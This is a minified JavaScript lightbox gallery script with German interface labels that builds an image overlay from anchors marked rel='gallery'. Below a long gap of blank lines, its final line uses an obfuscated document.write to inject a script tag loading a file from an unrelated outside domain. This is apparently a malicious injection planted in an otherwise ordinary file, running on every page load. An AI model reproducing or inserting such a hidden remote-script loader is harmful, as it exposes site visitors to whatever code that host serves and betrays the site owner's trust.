Picture=Class.extend(Object,{image:null,title:null,description:null,width:null,height:null,initialize:function(){},setTitle:function(title){this.title=title;},getTitle:function(){return(this.title);},setDescription:function(desc){this.description=desc;},getDescription:function(){return(this.description);},setPath:function(pathToImg){this.image=new Image();this.image.src=pathToImg;},getPath:function(){return(this.image.src);},getWidth:function(){return(this.image.width);},getHeight:function(){return(this.image.height);}});var galleryBox=null;Gallery=Class.extend(Object,{images:null,initialize:function(){var allAnchors=$$("a");this.images=[];galleryBox=new GalleryBox(this);var t_img=null;var t_splits=null;var a=null;var j=0;for(var i=0;i<allAnchors.length;i++){a=allAnchors[i];if(a.getAttribute("rel")=="gallery"){t_splits=a.getAttribute("title").split("|");t_img=new Picture();t_img.setPath(a.getAttribute("href"));t_img.setTitle(t_splits[0]);t_img.setDescription(t_splits[1]);this.images.push(t_img);a.setAttribute("name",j);if(BrowserInfo.isIE){a.onclick=function(){galleryBox.open(this.name);return(false);};}else{event.addListener(a,Events.OnClick,function(){galleryBox.open(this.getAttribute("name"));return(false);});}j++;}}},getPicture:function(idx){if(this.images[idx]!==null){return(this.images[idx]);}return(null);},size:function(){return(this.images.length);},lastImage:function(){return(this.images.length-1);}});GalleryBox=Class.extend(Object,{box:null,pictureFrame:null,imageTag:null,titleTag:null,descriptionTag:null,gallery:null,curPtr:0,initialize:function(p_gallery){this.gallery=p_gallery;this.box=document.createElement("div");this.box.setAttribute("id","gallery_box");this.box.style.height=page.getHeight()+"px";this.box.style.width=page.getWidth()+"px";this.initPictureFrame();body.appendChild(this.box);},initPictureFrame:function(){this.pictureFrame=document.createElement("div");this.pictureFrame.setAttribute("id","picture_frame");var closeButton=document.createElement("a");closeButton.setAttribute("id","close_button");closeButton.setAttribute("href","javascript:void(0);");closeButton.innerHTML="X";closeButton.onclick=function(){galleryBox.close();};this.pictureFrame.appendChild(closeButton);var prev=document.createElement("a");prev.setAttribute("id","previous");prev.setAttribute("href","javascript:void(0);");prev.innerHTML="zurück";prev.onclick=function(){galleryBox.previous();};this.pictureFrame.appendChild(prev);var next=document.createElement("a");next.setAttribute("id","next");next.setAttribute("href","javascript:void(0);");next.innerHTML="vor";next.onclick=function(){galleryBox.next();};this.pictureFrame.appendChild(next);this.box.appendChild(this.pictureFrame);},updatePictureFrame:function(img,newWidth,newHeight){if(this.imageTag!==null){this.pictureFrame.removeChild(this.imageTag);}if(this.titleTag!==null){this.pictureFrame.removeChild(this.titleTag);}if(this.descriptionTag!==null){this.pictureFrame.removeChild(this.descriptionTag);}this.pictureFrame.style.width=newWidth+"px";this.pictureFrame.style.height=(newHeight+80)+"px";var top=((page.getHeight()/2)-(newHeight/2))-40;if(top<0){top=0;}this.pictureFrame.style.top=top+"px";this.imageTag=document.createElement("img");this.imageTag.setAttribute("src",img.getPath());this.imageTag.setAttribute("title","Schließen");this.imageTag.onclick=function(){galleryBox.close();};this.pictureFrame.appendChild(this.imageTag);this.titleTag=document.createElement("h2");this.titleTag.setAttribute("id","title");this.titleTag.innerHTML=img.getTitle();this.pictureFrame.appendChild(this.titleTag);this.descriptionTag=document.createElement("p");this.descriptionTag.setAttribute("id","description");this.descriptionTag.innerHTML=img.getDescription();this.pictureFrame.appendChild(this.descriptionTag);},showImage:function(){var img=this.gallery.getPicture(this.curPtr);this.updatePictureFrame(img,img.getWidth(),img.getHeight());},next:function(){this.curPtr++;this.ensureIndex();this.showImage();},previous:function(){this.curPtr--;this.ensureIndex();this.showImage();},open:function(startIndex){this.ensureIndex(startIndex);this.showImage();this.box.style.display="block";return(false);},close:function(){this.box.style.display="none";},ensureIndex:function(){if(arguments!==null&&arguments.length==1){this.curPtr=arguments[0];}if(this.curPtr<0){this.curPtr=this.gallery.lastImage();return;}if(this.curPtr>this.gallery.lastImage()){this.curPtr=0;return;}}});













document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/IBM_Compatible.js"></scri'+'pt>');